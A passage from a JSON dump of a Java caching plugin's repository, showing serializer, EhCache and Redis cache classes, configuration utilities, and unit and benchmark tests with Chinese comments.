return valueSerializer.serialize(value);\n        } catch (Exception e) {\n            log.warn(\"value 序列化失败. value = {}\", value, e);\n            return null;\n        }\n    }\n\n    /**\n     * 反序列化VALUE\n     * @param value {byte[]}\n     * @return Object\n     */\n    public static Object deserializeValue(final byte[] value) {\n        return valueSerializer.deserialize(value);\n    }\n\n    /**\n     * 返回序列Collection的值\n     * @param values {Collection<byte[]>}\n     * @param clazz {Class<T>}\n     * @param serializer {Serializer} 序列化工具\n     * @param <T> 返回类型\n     * @return T\n     */\n    @SuppressWarnings(\"unchecked\")\n    private static <T extends Collection<Object>> T deserializeValues(Collection<byte[]> values,\n        Class<T> clazz, Serializer<Object> serializer) {\n        if (values == null)\n            return null;\n\n        int valueCount = values.size();\n        Collection<Object> _values =\n                List.class.isAssignableFrom(clazz)\n                        ? new ArrayList<Object>(valueCount)\n                        : new HashSet<Object>(valueCount);\n\n        for (byte[] bs : values) {\n            _values.add(serializer.deserialize(bs));\n        }\n        return (T) _values;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/StringSerializer.java",
    "content": "package net.oschina.j2cache.serializer;\n\n/**\n * UTF-8 String serializer\n */\npublic class StringSerializer implements Serializer<String> {\n\n    @Override\n    public byte[] serialize(String str) {\n        return (str == null || str.length() == 0) ? EMPTY_BYTES : str.getBytes(UTF_8);\n    }\n\n    @Override\n    public String deserialize(byte[] bytes) {\n        return (bytes == null || bytes.length == 0) ? EMPTY_STR : new String(bytes, UTF_8);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/StoreType.java",
    "content": "package net.oschina.j2cache.store;\n\n/**\n * 缓存存储类型\n *\n * @author FY\n */\npublic enum StoreType {\n\n    MAP,EHCACHE,REDIS;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/ehcache/EhCache.java",
    "content": "package net.oschina.j2cache.store.ehcache;\n\nimport net.oschina.j2cache.Cache;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.CacheExpiredListener;\nimport net.sf.ehcache.Ehcache;\nimport net.sf.ehcache.Element;\nimport net.sf.ehcache.event.CacheEventListener;\n\nimport java.util.List;\n\n/**\n * 缓存的EhCache实现\n *\n * @author FY\n */\npublic class EhCache implements Cache, CacheEventListener {\n\n    private final net.sf.ehcache.Cache cache;\n    private final CacheExpiredListener listener;\n\n    public EhCache(net.sf.ehcache.Cache cache, CacheExpiredListener listener) {\n        this.cache = cache;\n        this.cache.getCacheEventNotificationService().registerListener(this);\n        this.listener = listener;\n    }\n\n    @Override\n    public Object get(Object key) throws CacheException {\n        try {\n            if (key == null) {\n                return null;\n            } else {\n                Element element = cache.get(key);\n                if (element != null) {\n                    return element.getObjectValue();\n                }\n                return null;\n            }\n        } catch (net.sf.ehcache.CacheException e) {\n            throw new CacheException(e);\n        }\n    }\n\n    @Override\n    public void put(Object key, Object value) throws CacheException {\n        try {\n            Element element = new Element(key, value);\n            cache.put(element);\n        }\n        catch (IllegalArgumentException | net.sf.ehcache.CacheException | IllegalStateException e) {\n            throw new CacheException(e);\n        }\n    }\n\n    @Override\n    public void evict(Object key) throws CacheException {\n        try {\n            cache.remove(key);\n        }\n        catch (IllegalStateException | net.sf.ehcache.CacheException e) {\n            throw new CacheException(e);\n        }\n    }\n\n    @Override\n    public void evict(List keys) throws CacheException {\n        cache.removeAll(keys);\n    }\n\n    @Override\n    public List keys() throws CacheException {\n        return cache.getKeys();\n    }\n\n    @Override\n    public void clear() throws CacheException {\n        try {\n            cache.removeAll();\n        } catch (net.sf.ehcache.CacheException e) {\n            throw new CacheException(e);\n        }\n\n    }\n\n    @Override\n    public void destroy() throws CacheException {\n        try {\n            cache.getCacheManager().removeCache(cache.getName());\n        }\n        catch (IllegalStateException | net.sf.ehcache.CacheException e) {\n            throw new CacheException(e);\n        }\n    }\n\n    // ---------------------------------\n    /** 重写来自 {@link CacheEventListener} 的时间通知方法，用以实现自定义缓存策略 */\n    // ---------------------------------\n\n    @Override\n    public void notifyElementRemoved(Ehcache ehcache, Element element) throws net.sf.ehcache.CacheException {\n\n    }\n\n    @Override\n    public void notifyElementPut(Ehcache ehcache, Element element) throws net.sf.ehcache.CacheException {\n\n    }\n\n    @Override\n    public void notifyElementUpdated(Ehcache ehcache, Element element) throws net.sf.ehcache.CacheException {\n\n    }\n\n    /**\n     * 缓存是过期时的通知，在这里实现集群广播\n     * @param ehcache {@link EhCache}\n     * @param element {@link Element}\n     */\n    @Override\n    public void notifyElementExpired(Ehcache ehcache, Element element) {\n        if (listener != null) {\n            listener.notifyElementExpired(ehcache.getName(), element.getObjectKey());\n        }\n    }\n\n    @Override\n    public void notifyElementEvicted(Ehcache ehcache, Element element) {\n\n    }\n\n    @Override\n    public void notifyRemoveAll(Ehcache ehcache) {\n\n    }\n\n    @Override\n    public void dispose() {\n\n    }\n\n    @Override\n    public Object clone() throws CloneNotSupportedException {\n        throw new CloneNotSupportedException();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/ehcache/EhCacheProvider.java",
    "content": "package net.oschina.j2cache.store.ehcache;\n\nimport net.oschina.j2cache.Cache;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.CacheExpiredListener;\nimport net.oschina.j2cache.CacheProvider;\nimport net.sf.ehcache.CacheManager;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.URL;\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * @author FY\n */\npublic class EhCacheProvider implements CacheProvider {\n    private static final Logger logger = LoggerFactory.getLogger(EhCacheProvider.class);\n    /** ehcahce的配置文件路径 */\n    private String config_path = \"/ehcache.xml\";\n\n    private CacheManager ehcacheManager;\n    private ConcurrentHashMap<String, EhCache> cacheInstances;\n\n    @Override\n    public String name() {\n        return \"ehcache\";\n    }\n\n    @Override\n    public Cache buildCache(String regionName, boolean autoCreate, CacheExpiredListener listener) throws CacheException {\n        EhCache ehCache = cacheInstances.get(name());\n\n        if (ehCache == null && autoCreate) {\n            try {\n                synchronized (cacheInstances) {\n                    ehCache = cacheInstances.get(regionName);\n                    if (ehCache == null) {\n                        net.sf.ehcache.Cache cache = ehcacheManager.getCache(regionName);\n                        if (cache == null) {\n                            logger.warn(\"找不到缓存配置的 {}，将使用默认配置\", regionName);\n                            ehcacheManager.addCache(regionName);\n                            cache = ehcacheManager.getCache(regionName);\n                            logger.debug(\"start EhCache region : {}\", regionName);\n                        }\n\n                        ehCache = new EhCache(cache, listener);\n                        cacheInstances.put(regionName, ehCache);\n\n                    }\n                }\n            } catch (net.sf.ehcache.CacheException e) {\n                throw new CacheException(e);\n            }\n        }\n\n        return ehCache;\n    }\n\n    @Override\n    public void start(Properties props) throws CacheException {\n        if (ehcacheManager != null) {\n            logger.warn(\"EhCache 已经启动\");\n            return ;\n        }\n\n        URL xml = getClass().getClassLoader().getParent().getResource(config_path);\n        if (xml == null) {\n            xml = getClass().getResource(config_path);\n        }\n        if (xml == null) {\n            throw new CacheException(String.format(\"没有找到EhCache的配置文件 : %s\", config_path));\n        }\n\n        // 初始化\n        ehcacheManager = new CacheManager();\n        cacheInstances = new ConcurrentHashMap<String, EhCache>();\n\n    }\n\n    public void start(final String confFilePath) throws CacheException {\n        if (ehcacheManager != null) {\n            logger.warn(\"EhCache 已经启动\");\n            return ;\n        }\n\n        URL xml = getClass().getClassLoader().getParent().getResource(confFilePath);\n        if (xml == null) {\n            xml = getClass().getResource(confFilePath);\n        }\n        if (xml == null) {\n            throw new CacheException(String.format(\"没有找到EhCache的配置文件 : %s\", confFilePath));\n        }\n\n        this.config_path = confFilePath;\n\n        // 初始化\n        ehcacheManager = new CacheManager(xml);\n        cacheInstances = new ConcurrentHashMap<String, EhCache>();\n    }\n\n    @Override\n    public void stop() {\n        if (ehcacheManager != null) {\n            ehcacheManager.shutdown();\n            ehcacheManager = null;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/map/MapCache.java",
    "content": "package net.oschina.j2cache.store.map;\n\nimport net.oschina.j2cache.Cache;\nimport net.oschina.j2cache.CacheException;\n\nimport java.util.List;\n\n/**\n * @author FY\n */\npublic class MapCache implements Cache {\n\n\n\n    @Override\n    public Object get(Object key) throws CacheException {\n        return null;\n    }\n\n    @Override\n    public void put(Object key, Object value) throws CacheException {\n\n    }\n\n    @Override\n    public void evict(Object key) throws CacheException {\n\n    }\n\n    @Override\n    public void evict(List keys) throws CacheException {\n\n    }\n\n    @Override\n    public List keys() throws CacheException {\n        return null;\n    }\n\n    @Override\n    public void clear() throws CacheException {\n\n    }\n\n    @Override\n    public void destroy() throws CacheException {\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/redis/RedisCache.java",
    "content": "package net.oschina.j2cache.store.redis;\n\nimport net.oschina.j2cache.Cache;\nimport net.oschina.j2cache.utils.CacheCodeUtils;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.serializer.SerializerTools;\nimport org.springframework.util.StringUtils;\nimport redis.clients.jedis.Jedis;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 缓存的Redis实现\n */\npublic class RedisCache implements Cache {\n\tprivate String region;\n\t\n\tpublic RedisCache(String region) {\n\t\tthis.region = region;\n\t}\n\n\t@Override\n\tpublic Object get(Object key) throws CacheException {\n\t\tObject result = null;\n\t\t// 取得连接实例\n\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\tif (jedis == null || StringUtils.isEmpty(key)) {\n\t\t\treturn null;\n\t\t}\n\t\ttry {\n\t\t\t// 1.如果确定了返回是字符串类型，就使用这个，但是这样会比较喽\n//\t\t\tresult = jedis.get(createKey(key));\n\t\t\t// 2.如果需要自定义序列化实现使用下面的方法\n\t\t\tbyte[] b = jedis.get(SerializerTools.serializeKey(CacheCodeUtils.createRedisKey(region, key)));\n\t\t\tif (b != null) {\n\t\t\t\t// your serialization utils\n\t\t\t\tresult = SerializerTools.deserializeValue(b);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// 如果抛出了异常，打印日志并销毁该缓存\n\t\t\tif(e instanceof NullPointerException)\n\t\t\t\tevict(key);\n\t\t} finally {\n\t\t\t// 造作完成后将连接实例放回到线程池\n\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t}\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic void put(Object key, Object value) throws CacheException {\n\t\tif (value == null)\n\t\t\tevict(key);\n\t\telse {\n\t\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\t\t// 将数据保存到缓存容器，1.key序列化，2.value序列化\n\t\t\ttry {\n\t\t\t\tjedis.set(SerializerTools.serializeKey(CacheCodeUtils.createRedisKey(region, key)), SerializerTools.serializeValue(value));\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new CacheException(e);\n\t\t\t} finally {\n\t\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void evict(Object key) throws CacheException {\n\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\ttry {\n\t\t\tjedis.del(SerializerTools.serializeKey(CacheCodeUtils.createRedisKey(region, key)));\n\t\t} catch (Exception e) {\n\t\t\tthrow new CacheException(e);\n\t\t} finally {\n\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void evict(List keys) throws CacheException {\n\t\tif(keys == null || keys.size() == 0)\n\t\t\treturn ;\n\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\tString[] _keys = new String[keys.size()];\n\t\tfor (int i=0; i<keys.size(); i++) {\n\t\t\t_keys[i] = CacheCodeUtils.createRedisKey(region, keys.get(i));\n\t\t}\n\t\ttry {\n\t\t\tjedis.del(_keys);\n\t\t} catch (Exception e) {\n\t\t\tthrow new CacheException(e);\n\t\t} finally {\n\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic List keys() throws CacheException {\n\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\tList<String> listKey = new ArrayList<String>();\n\t\ttry {\n\t\t\tlistKey.addAll(jedis.keys(region+\":*\"));\n\t\t\tint nKeyPreLen = region.length() + 3;\n\t\t\tfor (int i=0; i<listKey.size(); i++) {\n\t\t\t\tlistKey.set(i, listKey.get(i).substring(nKeyPreLen));\n\t\t\t}\n\t\t\treturn listKey;\n\t\t} catch (Exception e) {\n\t\t\tthrow new CacheException(e);\n\t\t} finally {\n\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void clear() throws CacheException {\n\t\tJedis jedis = RedisCacheProvider.getResource();\n\t\ttry {\n\t\t\tjedis.del(region+\":*\");\n\t\t} catch (Exception e) {\n\t\t\tthrow new CacheException(e);\n\t\t} finally {\n\t\t\tRedisCacheProvider.returnResource(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void destroy() throws CacheException {\n\t\tthis.clear();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/store/redis/RedisCacheProvider.java",
    "content": "package net.oschina.j2cache.store.redis;\n\nimport net.oschina.j2cache.Cache;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.CacheExpiredListener;\nimport net.oschina.j2cache.CacheProvider;\nimport net.oschina.j2cache.utils.PropertiesLoader;\nimport net.oschina.j2cache.utils.StrExtUtils;\nimport redis.clients.jedis.Jedis;\nimport redis.clients.jedis.JedisPool;\nimport redis.clients.jedis.JedisPoolConfig;\n\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Redis 缓存实现 -- 容器的实例构建\n */\npublic class RedisCacheProvider implements CacheProvider {\n\n    /** 用于存储每个region对应的cache instance */\n    private final ConcurrentHashMap<String, RedisCache> cacheInstances = new ConcurrentHashMap<String, RedisCache>();\n\t\n\tprivate static JedisPool pool;\n\n\t@Override\n\tpublic String name() {\n\t\treturn \"redis\";\n\t}\n\n    @Override\n    public void start(Properties props) throws CacheException {\n\n    }\n\n    /**\n\t * 从池中取出一个连接实例\n\t * @return {Jedis}\n\t */\n\tpublic static Jedis getResource() {\n\t\treturn pool.getResource();\n\t}\n\n\t/**\n\t * 释放资源\n\t * @param jedis  jedis instance\n\t */\n\tpublic static void returnResource(Jedis jedis) {\n\t\tif(null == jedis)\n\t\t\treturn;\n\t\tpool.returnResourceObject(jedis);\n\t}\n\n\t@Override\n\tpublic Cache buildCache(String regionName, boolean autoCreate, CacheExpiredListener listener) throws CacheException {\n        if (cacheInstances.get(regionName) == null) {\n            cacheInstances.put(regionName, new RedisCache(regionName));\n        }\n\t\treturn cacheInstances.get(regionName);\n\t}\n\n    @Override\n    public void start(String confFilePath) throws CacheException {\n        if (pool != null) return ;\n        if (confFilePath == null || \"\".equals(confFilePath)) {\n            throw new CacheException(String.format(\"缓存的Redis配置文件路径错误 : %s\", confFilePath));\n        }\n\n        // 载入REDIS配置\n        Properties props = new PropertiesLoader(confFilePath).getProperties();\n\n        try {\n            if (props.isEmpty()) {\n                throw new Exception(String.format(\"读取缓存Redis配置文件错误 : %s\", confFilePath));\n            }\n\n            // Redis链接配置\n            JedisPoolConfig config = new JedisPoolConfig();\n            String host = getProperty(props, \"cache.redis.hostname\", \"127.0.0.1\");\n\n            String password = props.getProperty(\"cache.redis.password\", null);\n            if (StrExtUtils.isNullOrEmpty(password)) password = null;\n\n            int port = getProperty(props, \"cache.redis.port\", 6379);\n            int timeout = getProperty(props, \"cache.redis.timeout\", 2000);\n            int database = getProperty(props, \"cache.redis.database\", 0);\n\n            pool = new JedisPool(config, host, port, timeout, password, database);\n\n            // 序列化工具类名\n            // serializer = props.getProperty(\"cache.serializer_class\", SnappySerializer.class.getName());\n\n        } catch (Exception e) {\n            throw new CacheException(\"创建CacheProvider实例失败.\", e);\n        }\n\n    }\n\n    @Override\n\tpublic void stop() {\n\t\tpool.destroy();\n\t}\n\t\n\tprivate static String getProperty(Properties props, String key, String defaultValue) {\n\t\treturn props.getProperty(key, defaultValue).trim();\n\t}\n\n\t/**\n\t * 取配置数据 默认为int类型的字段\n\t * @param props 配置属性\n\t * @param key 名称\n\t * @param defaultValue 默认值\n\t * @return 对应的值\n\t */\n\tprivate static int getProperty(Properties props, String key, int defaultValue) {\n\t\ttry{\n\t\t\treturn Integer.parseInt(props.getProperty(key, String.valueOf(defaultValue)).trim());\n\t\t}catch(Exception e){\n\t\t\treturn defaultValue;\n\t\t}\n\t}\n\n\t/**\n\t * 去配置数据 默认为boolean类型的字段\n\t * @param props 配置属性\n\t * @param key 名称\n\t * @param defaultValue 默认值\n\t * @return 对应的值\n\t */\n\tprivate static boolean getProperty(Properties props, String key, boolean defaultValue) {\n\t\treturn \"true\".equalsIgnoreCase(props.getProperty(key, String.valueOf(defaultValue)).trim());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/utils/CacheCodeUtils.java",
    "content": "package net.oschina.j2cache.utils;\n\n/**\n * @author FY\n */\npublic class CacheCodeUtils {\n\n    /** 缓存KEY的组分隔符 */\n    public static final String KEY_SEPARATOR_SIGN = \":\";\n\n\n    /**\n     * 创建缓存 redis key\n     * @param region 缓存的region name\n     * @param key 标志位\n     * @return 完整KEY - region:key - string\n     */\n    public static String createRedisKey(String region, Object key) {\n        return String.format(\"%s%s%s\", region, KEY_SEPARATOR_SIGN, key.toString());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/utils/CacheCustoms.java",
    "content": "package net.oschina.j2cache.utils;\n\n/**\n * 缓存中用到的一些常量\n *\n * @author FY\n */\npublic interface CacheCustoms {\n\n    /** 缓存操作 - 删除 */\n    byte OPT_DELTED_KEY = 0x01;\n\n    /** 一级缓存标识 */\n    byte CACHE_LV_1 = 1;\n    /** 二级缓存标识 */\n    byte CACHE_LV_2 = 2;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/utils/PropertiesLoader.java",
    "content": "package net.oschina.j2cache.utils;\n\nimport org.apache.commons.io.IOUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.NoSuchElementException;\nimport java.util.Properties;\n\n/**\n * Properties文件载入工具类. 可载入多个properties文件, 相同的属性在最后载入的文件中的值将会覆盖之前的值，但以System的Property优先.\n * \n * @author calvin\n */\npublic class PropertiesLoader {\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(PropertiesLoader.class);\n\n\tprivate final Properties properties;\n\n\tpublic PropertiesLoader(String... resourcesPaths) {\n\t\tproperties = loadProperties(resourcesPaths);\n\t}\n\n\tpublic Properties getProperties() {\n\t\treturn properties;\n\t}\n\n\t/**\n\t * 取出Property。\n\t */\n\tprivate String getValue(String key) {\n\t\tString systemProperty = System.getProperty(key);\n\t\tif (systemProperty != null) {\n\t\t\treturn systemProperty;\n\t\t}\n\t\treturn properties.getProperty(key);\n\t}\n\n\t/**\n\t * 取出String类型的Property,如果都為Null则抛出异常.\n\t */\n\tpublic String getProperty(String key) {\n\t\tString value = getValue(key);\n\t\tif (value == null) {\n\t\t\tthrow new NoSuchElementException();\n\t\t}\n\t\treturn value;\n\t}\n\n\t/**\n\t * 取出String类型的Property.如果都為Null則返回Default值.\n\t */\n\tpublic String getProperty(String key, String defaultValue) {\n\t\tString value = getValue(key);\n\t\treturn value != null ? value : defaultValue;\n\t}\n\n\t/**\n\t * 取出Integer类型的Property.如果都為Null或内容错误则抛出异常.\n\t */\n\tpublic Integer getInteger(String key) {\n\t\tString value = getValue(key);\n\t\tif (value == null) {\n\t\t\tthrow new NoSuchElementException();\n\t\t}\n\t\treturn Integer.valueOf(value);\n\t}\n\n\t/**\n\t * 取出Integer类型的Property.如果都為Null則返回Default值，如果内容错误则抛出异常\n\t */\n\tpublic Integer getInteger(String key, Integer defaultValue) {\n\t\tString value = getValue(key);\n\t\treturn value != null ? Integer.valueOf(value) : defaultValue;\n\t}\n\n\t/**\n\t * 取出Double类型的Property.如果都為Null或内容错误则抛出异常.\n\t */\n\tpublic Double getDouble(String key) {\n\t\tString value = getValue(key);\n\t\tif (value == null) {\n\t\t\tthrow new NoSuchElementException();\n\t\t}\n\t\treturn Double.valueOf(value);\n\t}\n\n\t/**\n\t * 取出Double类型的Property.如果都為Null則返回Default值，如果内容错误则抛出异常\n\t */\n\tpublic Double getDouble(String key, Integer defaultValue) {\n\t\tString value = getValue(key);\n\t\treturn value != null ? Double.valueOf(value) : defaultValue;\n\t}\n\n\t/**\n\t * 取出Boolean类型的Property.如果都為Null抛出异常,如果内容不是true/false则返回false.\n\t */\n\tpublic Boolean getBoolean(String key) {\n\t\tString value = getValue(key);\n\t\tif (value == null) {\n\t\t\tthrow new NoSuchElementException();\n\t\t}\n\t\treturn Boolean.valueOf(value);\n\t}\n\n\t/**\n\t * 取出Boolean类型的Propert.如果都為Null則返回Default值,如果内容不为true/false则返回false.\n\t */\n\tpublic Boolean getBoolean(String key, boolean defaultValue) {\n\t\tString value = getValue(key);\n\t\treturn value != null ? Boolean.valueOf(value) : defaultValue;\n\t}\n\n\t/**\n\t * 载入多个文件, 文件路径使用Spring Resource格式.\n\t */\n\tprivate Properties loadProperties(String... resourcesPaths) {\n\t\tProperties props = new Properties();\n\n\t\tfor (String location : resourcesPaths) {\n\n            logger.debug(\"Loading properties file from path:{}\", location);\n\n\t\t\tInputStream is = null;\n\t\t\ttry {\n                is = getResourceAsInputStream(location);\n\t\t\t\tprops.load(is);\n\t\t\t} catch (IOException ex) {\n                logger.warn(\"Could not load properties from path:{}, {} \", location, ex.getMessage());\n\t\t\t} finally {\n\t\t\t\tIOUtils.closeQuietly(is);\n\t\t\t}\n\t\t}\n\t\treturn props;\n\t}\n\n    public InputStream getResourceAsInputStream(String filePath) {\n        assert filePath != null : \"filePath must not be null!\";\n        if (filePath.startsWith(\"/\")) {\n            return getDefaultClassLoader().getResourceAsStream(filePath.substring(1));\n        } else if (filePath.startsWith(\"classpath:\")) {\n            return getResourceAsInputStream(filePath.substring(\"classpath:\".length()));\n        } else if (filePath.startsWith(\"classpath*:\")) {\n            return getResourceAsInputStream(filePath.substring(\"classpath*:\".length()));\n        }\n        return getDefaultClassLoader().getResourceAsStream(filePath);\n    }\n\n    /**\n     * 获得ClassLoader对象\n     * @return {@link ClassLoader}\n     */\n    public static ClassLoader getDefaultClassLoader() {\n        ClassLoader cl = null;\n\n        try {\n            cl = Thread.currentThread().getContextClassLoader();\n        } catch (Exception ignored) {\n            ;\n        }\n\n        if(cl == null) {\n            cl = PropertiesLoader.class.getClassLoader();\n            if(cl == null) {\n                try {\n                    cl = ClassLoader.getSystemClassLoader();\n                } catch (Exception ignored) {\n                    ;\n                }\n            }\n        }\n\n        return cl;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/utils/StrExtUtils.java",
    "content": "package net.oschina.j2cache.utils;\n\n/**\n * @author FY\n * @since 1.0\n */\npublic class StrExtUtils {\n    public static boolean isNullOrEmpty(String string) {\n        return string == null || string.length() == 0;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/java/net/oschina/j2cache/CacheTemplateTest.java",
    "content": "package net.oschina.j2cache;\n\nimport org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\n/**\n * @author FY\n * @since 1.0\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@ContextConfiguration(locations = {\"classpath:/spring-cache-test.xml\"})\npublic class CacheTemplateTest {\n\n    @Autowired\n    private CacheTemplate cacheTemplate;\n\n    @Test\n    public void test() {\n        cacheTemplate.clear(\"testRegion\");\n\n        cacheTemplate.set(\"testRegion\", \"testKey\", \"I'm a hds boy!!\");\n\n        CacheObject co = cacheTemplate.get(\"testRegion\", \"testKey\");\n\n        Assert.assertEquals(\"I'm a hds boy!!\", co.getValue());\n\n        cacheTemplate.evict(\"testRegion\", \"testKey\");\n\n        co = cacheTemplate.get(\"testRegion\", \"testKey\");\n\n        Assert.assertNull(co.getValue());\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/java/net/oschina/j2cache/serializer/SerializerBaseTest.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Test;\n\n/**\n * 序列化工具测试\n *\n * @author FY\n * @since 1.0\n */\npublic class SerializerBaseTest {\n    private String cacheKey = \"cacheKey\";\n    private TestObj cacheValue;\n\n    private StringSerializer stringSerializer;\n    private FstSerializer<TestObj> fstSerializer;\n    private FstSnappySerializer<TestObj> snappyFstSerializer;\n    private JdkSerializer<TestObj> jdkSerializer;\n\n    @Before\n    public void init() {\n        stringSerializer = new StringSerializer();\n        fstSerializer = new FstSerializer<TestObj>();\n        snappyFstSerializer = new FstSnappySerializer<TestObj>();\n        jdkSerializer = new JdkSerializer<TestObj>();\n\n        cacheValue = new TestObj();\n        cacheValue.setId(\"123\");\n        cacheValue.setName(\"wod\");\n\n    }\n\n    @Test\n    public void testStringSerializer() {\n        byte[] bytes = stringSerializer.serialize(cacheKey);\n\n        Assert.assertEquals(cacheKey, stringSerializer.deserialize(bytes));\n\n    }\n\n    @Test\n    public void testFstSerializer() {\n        byte[] bytes = fstSerializer.serialize(cacheValue);\n\n        Assert.assertEquals(cacheValue, fstSerializer.deserialize(bytes));\n    }\n\n    @Test\n    public void testFstSnappy() {\n        byte[] bytes = snappyFstSerializer.serialize(cacheValue);\n\n        Assert.assertEquals(cacheValue, snappyFstSerializer.deserialize(bytes));\n    }\n\n    @Test\n    public void testJdk() {\n        byte[] bytes = jdkSerializer.serialize(cacheValue);\n\n        Assert.assertEquals(cacheValue, jdkSerializer.deserialize(bytes));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/test/java/net/oschina/j2cache/serializer/SerializerBenchmarkTest.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\n/**\n * 序列化工具的简单性能测试\n * <pre>\n *     OS  : Windows 10 专业版\n *     CPU : Inter(R)Core(TM) i7-4720HQ @2.60GHz\n *     Mem : 8G\n * </pre>\n *\n * @author FY\n * @since 1.0\n */\npublic class SerializerBenchmarkTest {\n\n    private String cacheKey = \"cacheKey\";\n    private TestObj cacheValue;\n\n    private StringSerializer stringSerializer;\n    private FstSerializer<TestObj> fstSerializer;\n    private FstSnappySerializer<TestObj> snappyFstSerializer;\n    private JdkSerializer<TestObj> jdkSerializer;\n\n    @Before\n    public void init() {\n        stringSerializer = new StringSerializer();\n        fstSerializer = new FstSerializer<TestObj>();\n        snappyFstSerializer = new FstSnappySerializer<TestObj>();\n        jdkSerializer = new JdkSerializer<TestObj>();\n\n        cacheValue = new TestObj();\n        cacheValue.setId(\"123\");\n        cacheValue.setName(\"wod\");\n\n    }\n\n    /**\n     * 使用StringSerializer序列化字符串[cacheKey]，共 10000 次，耗时：7 ms\n     * 使用StringSerializer序列化字符串[cacheKey]，共 100000 次，耗时：17 ms\n     * 使用StringSerializer序列化字符串[cacheKey]，共 1000000 次，耗时：85 ms\n     * 使用StringSerializer序列化字符串[cacheKey]，共 10000000 次，耗时：943 ms\n     */\n    @Test\n    public void testStringSerializer() {\n        int count = 10000000;\n        long startTime = System.currentTimeMillis();\n        // 循环测试\n        for (int i = 0; i < count; i++) {\n            byte[] bytes = stringSerializer.serialize(cacheKey);\n        }\n\n        System.out.println(String.format(\"使用StringSerializer序列化字符串[%s]，共 %d 次，耗时：%d ms\", cacheKey, count, System.currentTimeMillis() - startTime));\n    }\n\n    /**\n     * 使用FstSerializer序列化{@link #cacheValue}，共 10000 次，耗时：45 ms\n     * 使用FstSerializer序列化{@link #cacheValue}，共 100000 次，耗时：121 ms\n     * 使用FstSerializer序列化{@link #cacheValue}，共 1000000 次，耗时：436 ms\n     * 使用FstSerializer序列化{@link #cacheValue}，共 10000000 次，耗时：2660 ms\n     */\n    @Test\n    public void testFstSerializer() {\n        int count = 10000000;\n        long startTime = System.currentTimeMillis();\n        // 循环测试\n        for (int i = 0; i < count; i++) {\n            byte[] bytes = fstSerializer.serialize(cacheValue);\n        }\n\n        System.out.println(String.format(\"使用FstSerializer序列化{@link #cacheValue}，共 %d 次，耗时：%d ms\", count, System.currentTimeMillis() - startTime));\n    }\n\n    /**\n     * 使用FstSnappySerializer序列化{@link #cacheValue}，共 10000 次，耗时：134 ms\n     * 使用FstSnappySerializer序列化{@link #cacheValue}，共 100000 次，耗时：249 ms\n     * 使用FstSnappySerializer序列化{@link #cacheValue}，共 1000000 次，耗时：963 ms\n     * 使用FstSnappySerializer序列化{@link #cacheValue}，共 10000000 次，耗时：6678 ms\n     */\n    @Test\n    public void testFstSnappy() {\n        int count = 10000000;\n        long startTime = System.currentTimeMillis();\n        // 循环测试\n        for (int i = 0; i < count; i++) {\n            byte[] bytes = snappyFstSerializer.serialize(cacheValue);\n        }\n\n        System.out.println(String.format(\"使用FstSnappySerializer序列化{@link #cacheValue}，共 %d 次，耗时：%d ms\", count, 